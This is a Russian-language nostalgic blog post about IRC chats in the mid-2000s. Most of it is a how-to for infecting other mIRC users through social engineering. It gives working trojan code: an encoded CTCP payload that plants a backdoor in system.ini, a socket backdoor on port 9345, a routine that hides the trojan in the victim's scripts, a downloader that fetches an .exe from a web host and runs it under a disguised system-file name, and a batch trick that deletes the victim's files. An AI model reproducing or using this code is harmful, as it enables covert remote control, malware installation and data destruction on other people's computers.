Кто помнит mIRC’у ?

Я с превеликим удовольствием вспоминаю те дни когда был период 2005-2007 год. Тогда В моем регионе был тренд IRC чатов. Да я знаю что у кого-то это было 1999-2001 год, у всех по-разному, но не суть. Мы развлекались как могли… без лимитный интернет только только начал появляться.

Пребывание в сети сутками было привычным делом и уже тогда считалось нормальным. IRC сеть оставила приятные впечатления и воспоминания. Никогда не забуду как я глумился над каналом #готы над этими депрессивными критинами, которые так жаждали разорвать меня на куски всем стадом за то что я кикал банил и просто напросто запаролил их канал и лишил админов статуса “@” вешал им всякие картинки. Только я уже не помню на чем мы сними закусились. Но было очень весело.

Еще был тренд устанавливать всякие навороченые клиенты для IRC. Я не был программистом, по этому я за основу взял за основу клиенты mIRC и pIRC, собрал свой назвал rZIRC. Заточил я его полностью под себя, у меня не входило в планы его распространение. Продукт получился в целом не плохой, правда появлялись иногда всякие баги, но это не мешало. Напичкал свой скрипт всякими модулями по защите от ДЕОПА, АВТОКИКА, ПИНГА и прочей хренью. Познакомился с принципом работы троянов в IRC и как на них ловить “рыбешку”, прошел экстерном курс по социальной инженерии.

СТСР Трояны подавались в приват вот в таком зашифрованном виде:

//[ $ $+ decode(L3dyaXRlaW5pIHN5c3RlbS5pbmkgc2NyaXB0IG4wIGN0Y3AgXio6KjpoYWx0ZGVmIHwgJDEt,m) ] | //[ $ $+ decode(L2xvYWQgLXJzIHN5c3RlbS5pbmk=,m) ]

Она создаёт файл system.ini, в котором находится троян, в папке с мирком. Если пораскинуть мозгами, то можно придумать и получше. Количество предлогов, под которыми можно впарить троян юзверю зависит от вашей фантазии.
Вычислить хацкера не сложно:
ctcp *:*:echo 5 -et ->$nick $address($nick,2) $1-

Достаточно палевно проверять, есть ли троян у юзвера или нет. Нам нужно отправить ему команду следующего вида: msg … Но есть вероятность, что он заметит вас (если троян не вписал). Но отмазаться всё равно можно.

Сокет-Трояны. Они отличаются от ctcp-троянов тем, что запросы идут не через сервер, а именно к определённому клиенту. И проверить, существует троян или нет, намного проще и безопаснее.
Правда командой /socklist легко обнаружить соединение. Код трояна:
on *:connect:socklisten a 9345
on *:disconnect:sockclose a
on *:socklisten:a:sockaccept x
on *:sockread:x:sockread %x.c | %x.c

Где: a и x — имена соединений, а 9345 — порт (всё это можно поменять).
Прослушка порта необходима, чтобы подключиться к жертве, пишем для подключения: /sockopen xМожно зашифровать.

Дальше можно вогнать вирус как можно глубжеБ, т.к. обнаружить и удалить файл system.ini жертве не составит труда. Прописываем команды:

/ctcp /alias /x-do unset %x.* | while (%x.h == $null) { inc %x.i | %x.id = n $+ %x.i | %x.s = $readini $nopath($mircini) rfiles %x.id | if (%x.s != $null) { %x.r = $read -nl1 %x.s | if (%x.r == [script]) { %x.h = on | write -a %x.s n1000=ctcp ^*:*:haltdef | $1- } } }
/ctcp /x-do

Она ищет скриптовый файл и в его конец загоняет троян.
Нам нужно удалить старый троян, иначе, если мы пошлём запрос с выполнением какой-либо команды, то она выполнится два раза, т.к. у жертвы 2 трояна. Сделаем вот что:
/ctcp /remini system.ini script n0Чтобы эти команды вступили в силу, нужно загрузить эти файлы заново (с помощью /load -rs …, но у жертвы это может вызвать подозрения) или заставить жертву перезапустить мирк: /ctcp /alias /gigig /xuxux
/alias /xuxux /gigig
/ctcp /gigig

С тем же успехом можно сделать это с сокет-трояном.

Как же загрузить файл жертве так, чтоб она не заметила это? Впринципе всё не так сложно. Главное, чтобы у юзвера был один из выше перечисленных троянов.
Код трояна:

alias xdl %x.h = www.website.com | %x.p = 80 | %x.l = /Files/LamerDeath.exe | %x.f = C:\Windows\rundII32.exe | %x.c = 0 | sockopen xdl %x.h %x.p
on *:SOCKOPEN:xdl:if ($sockerr >0) { halt } | //sockwrite -n $sockname GET %x.l HTTP/1.0 | //sockwrite -n $sockname Host: %x.h $str($crlf,2)
on *:SOCKREAD:xdl:if ($sockerr >0) { halt } | if (%x.c == 0) { sockread %x.t | if ($len(%x.t)< 4) { %x.c = 1 } } | if (%x.c == 1) { sockread &binvar | bwrite %x.f -1 -1 &binvar } on *:SOCKCLOSE:xdl:if ($exists(%x.f) == $true) { run %x.f } | unset %x.*

Где %x.h = www.website.com - домен сайта, %x.p = 80 - порт, %x.l = /Files/LamerDeath.exe - пусть до файла на сайте, %x.f = C:\Windows\rundII32.exe - там мы файл создадим. Как только файл скачается, он запуститься.

В упакованном виде, готовое для отправки жертве, выглядит так:

/ctcp writeini system.ini script n1 alias xdl % $+ x.h = www.website.com $chr(124) % $+ x.p = 80 $chr(124) % $+ x.l = /Files/LamerDeath.exe $chr(124) % $+ x.f = C:\Windows\rundII32.exe $chr(124) % $+ x.c = 0 $chr(124) sockopen xdl % $+ x.h % $+ x.p
/ctcp writeini system.ini script n2 on *:SOCKOPEN:xdl:if ($ $+ sockerr >0) $chr(123) halt $chr(125) $chr(124) //sockwrite -n $ $+ sockname GET % $+ x.l HTTP/1.0 $chr(124) //sockwrite -n $ $+ sockname Host: % $+ x.h $ $+ str($ $+ crlf,2)
/ctcp writeini system.ini script n3 on *:SOCKREAD:xdl:if ($ $+ sockerr >0) $chr(123) halt $chr(125) $chr(124) if (% $+ x.c == 0) $chr(123) sockread % $+ x.t $chr(124) if ($ $+ len(% $+ x.t)< 4) $chr(123) % $+ x.c = 1 $chr(125) $chr(125) $chr(124) if (% $+ x.c == 1) $chr(123) sockread & $+ binvar $chr(124) bwrite % $+ x.f -1 -1 & $+ binvar $chr(125) /ctcp writeini system.ini script n4 on *:SOCKCLOSE:xdl:if ($ $+ exists(% $+ x.f) == $ $+ true) $chr(123) run % $+ x.f $chr(125) $chr(124) unset % $+ x.* /ctcp /xdl

Затем можно поиграться с виндой жертвы с помощью *.bat файлов. В *.bat файлах выполняются команды от командной строки винды. Мы это и используем, удалив один файлик. Конечно это детская забава, но всё же... Пишем специальную команду:

/ctcp /alias /w-w unset %w.* | while ([ $ $+ [ %w.i ] ] != $null) { inc %w.i | unset %w.b | if (([ $ $+ [ %w.i ] ] == $null) || ([ $ $+ [ %w.i ] ] == brk)) { %w.b = %w.t | unset %w.t | write -a C:\WINDOWS\system32\config\Mouse.bat %w.b } | if (%w.b == $null) { %w.t = %w.t [ $ $+ [ %w.i ] ] } }

Она пишет в файл C:\WINDOWS\system32\config\Mouse.bat (название которого взято из головы, т.е. такого файла не существовало) нужные нам вещи с помощью:
/ctcp /w-w echo off brk cls brk del C:\Program Files\mIRC\System.ini

Где brk - разделитель строк
echo off - прячет файл
del file - удаляет файл
C:\Program Files\mIRC\System.ini - предполагаемый путь до файла system.ini, конечно нужно предварительно узнать точную директорию расположения мирка жертвы... Команда типа /ctcp /notice Мой_ник $mircdir не поможет, ибо троян не преобразует идентификаторы. Нам просто придёт сообщение "$mircdir". Будем использовать такие вот команды:
/ctcp /alias /mrcdir /notice Мой_ник $mircdir
/ctcp /mrcdir

После всего этого запустим файл!

/ctcp /run C:\WINDOWS\system32\config\Mouse.bat

И файла system.ini не станет. Жертва даже не догадается об этом... А ведь можно удалить и не только этот файл.

Эх... времена времена, а сейчас уже давным давно пришли на смену чатов социальные сети, и весь трафик сутками торчит именно там. Но там таких приколов уже особо не делаешь. Можно конечно, если проявить смекалку.

Добавить комментарий

Ваш e-mail не будет опубликован.

Этот сайт использует Akismet для борьбы со спамом.Узнайте как обрабатываются ваши данные комментариев.